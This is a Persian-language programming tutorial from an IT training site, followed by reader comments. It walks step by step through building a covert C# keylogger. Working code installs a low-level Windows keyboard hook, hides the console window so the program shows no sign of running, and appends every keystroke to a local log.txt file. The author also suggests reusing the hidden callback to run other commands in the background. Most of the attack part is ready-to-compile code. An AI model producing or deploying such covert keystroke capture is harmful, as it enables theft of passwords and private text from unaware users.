ساخت یک Keylogger با استفاده از سی شارپ

سلام به همه دوستان عزیز ITPRO. در این آموزش قصد داریم که در زبان سی شارپ برنامه ای بنویسیم که در پس زمینه اجرا شود و کلید هایی را که کاربر می زند را ثبت کند. برای این کار باید از API ها و DLL های خود ویندوز استفاده کنیم. این برنامه در حالی که اجرا می شود ولی هیچ نشانه ای از آن وجود ندارد. برای نوشتن این برنامه مراحل زیر را باید طی کنیم.


ساخت پروژه


ما برای این پروژه از نرم افزار ویژوال استودیو 2015 استفاده خواهیم کرد. برای شروع کار در برنامه ویژوال استودی یک پروژه جدید می سازیم. برای این کار از منوی File گزینه New و سپس project را انتخاب می کنیم و از گزینه های نمایش داده شده از قسمت سمت چپ گزینه Visual C# و از گزینه سمت راست Console Application را انتخاب می نماییم. سپس برای پروژه یک نام در نظر گرفته و در انتها بر روی Ok کلیک کنید. شکل این پنجره مانند عکس زیر است.

ساخت یک Keylogger با استفاده از سی شارپ

در این پروژه ما نام پروژه را KeyLogger قرار داده ایم.


اضافه کردن ثابت ها و رفرنس ها


بعد از این که پروژه شما ساخته شد یک کلاس به نام Program برای شما ساخته می شود و به شما نشان داده می شود که شما باید در پنجره ی solution explorer بر روی references کلیک راست کنید و سپس Add reference را انتخاب کرده و از پنجره ی باز شده System.Windows.Forms را انتخاب و به پروژه اضافه کنید. و سپس کدهای زیر را در داخل کلاس بعد از قسمت شروع کلاس بنویسید

private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0X0100;
        private static LowLevelKeyboardProc _proc= HookCallback ;
        private static IntPtr _hookID=IntPtr.Zero;

حال در داخل متد main باید کد زیر نوشته شود.

var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);

نوشتن کدهای مربوط به دریافت کلید ها


اگر کد هایی را که تا الان گفتیم نوشته باشید می بینید که این کد ها خطا دارند و برنامه هنوز قابل اجرا نیست. نگران این قضیه نباشید زیرا که کار ما هنوز تمام نشده است. در این بخش کد هایی را که قرار است در باره کلید ها عمل کنند را می نویسیم و همه را در انتها توضیح خواهیم داد. حال بعد از متد main دستورات زیر را بنویسید

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr IParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr IParam)
        {
            if (nCode >= 0 && wParam == (IntPtr) WM_KEYDOWN)
            {
                var vkCode = Marshal.ReadInt32(IParam);
                Console.WriteLine(((Keys)vkCode));
                
                var sw=new StreamWriter(Application.StartupPath+@"\log.txt",true);
                sw.WriteLine((Keys)vkCode);
                
                sw.Close();
            }
            return CallNextHookEx(_hookID, nCode, wParam, IParam);
        }
private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

اضافه کردن dll های ویندوزی برای فراخوانی APIها


حال که کد های مربوط به ثبت کلید ها نوشته شد می بینیم که برنامه هنوز خطا دارد برای رفع این خطاها باید از APIها استفاده کنیم. APIها تابع های سیستمی هستند که در داخل ویندوز وجود دارند و می توانند کارهای سیستمی و حساسی را انجام بدهند. برای مثال ما در این مطلب از APIهایی استفاده می کنیم که با کیبورد در سطح پایین کار می کنند. برای این کار کد های زیر را به برنامه اضافه می کنیم. یعنی بعد از این که متدهای مربوط به توابع را نوشتیم این بخش ها را به بعد از آنها اضافه می کنیم

      [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc Ipfn, IntPtr hMod, uint dwThredId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr IParam);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetConsoleWindow();
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("user32.dll")]
        private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        private const int SW_HIDE = 0;

اجرای برنامه


کار تمام شد حالا اگر کد هایی را که گفتیم به همین شکل نوشته باشید و برنامه را اجرا کنید چیزی به شما نشان داده نخواهد شد ولی اگر در پنجره ی solution explorer بر روی نام پروژه کلیک راست کنیم و گزینه Open folder in file explorer را انتخاب کنیم و سپس به پوشه bin و بعد از آن به debug برویم فایلی با نام log.txt وجود خواهد داشت که همه ی کلید های کیبورد که ما از زمان اجرای برنامه زده ایم در آن نشان داده خواهد شد. بدین ترتیب یک ما یک keyLogger ساده با زبان سی شارپ نوشتیم. حال به توضیح برنامه می پردازیم.


توضیح چگونگی کارکرد برنامه


ما وقتی که برنامه را اجرا می کنیم یک هندل از برنامه جاری ما می سازیم و با استفاده از API ای به نام ShowWindow آن را مخفی می کنیم. این API در فایل DLL سیستمی user32.dll که یکی از اصلی ترین فایل های ویندوز است قرار دارد. سپس با استفاده از متد HookCallback کلید هایی را که از کیبورد زده شده است را ثبت می کنیم. حال اگر بخواهیم کاری به جز ثبت کلید ها انجام دهیم باید در داخل همین متدها باشد برای مثال اگر بخواهیم که برنامه ای بنویسیم که یک سری دستور را در آن اجرا کنیم و برنام همیشه در حال اجرا باشد همین برنامه را نوشته و فقط محتویات این متد را با توجه به نیازی که از برنامه خودمان داریم تغییر می دهیم.ITPRO باشید.

نویسنده: مهدی عادلی فر

منبع: Itpro

هرگونه نشر و کپی برداری بدون ذکر منبع و نام نویسنده دارای اشکال اخلاقی می باشد.

#کار_نکردن_keylogger_در_سی_شارپ #ساختار_کاری_keylogger #توابع_api_در_سی_شارپ #یادگیری_زبان_برنامه_نویسی_سی_شارپ #کدنویسی_برای_keylogger #آموزش_برنامه_نویسی_سی_شارپ #api_چیست
3 نظر
علی پرکره

اینارو کجا ثبت میکنه! کجا میشه دیدشون!؟

مهدی عادلی فر

سلام به شما دوست عزیز

همون طور که در قسمت "اجرای برنامه" مطلب بالا توضیح داده ام این اطلاعات در یک فایل log در داخل پوشه debug خود برنامه ذخیره میشه.

littleProgrammer

سلام.وقت بخیر.اگه امکان داره توابع api استفاده شده به همراه پارامترهای ورودیشون رو بیشتر توضیح بدین.سپاس

نظر شما
برای ارسال نظر باید وارد شوید.
از سرتاسر توسینسو
تنظیمات حریم خصوصی
تائید صرفنظر
×

تو می تونی بهترین نتیجه رو تضمینی با بهترین های ایران بدست بیاری ، پس مقایسه کن و بعد خرید کن : فقط توی جشنواره تابستانه می تونی امروز ارزونتر از فردا خرید کنی ....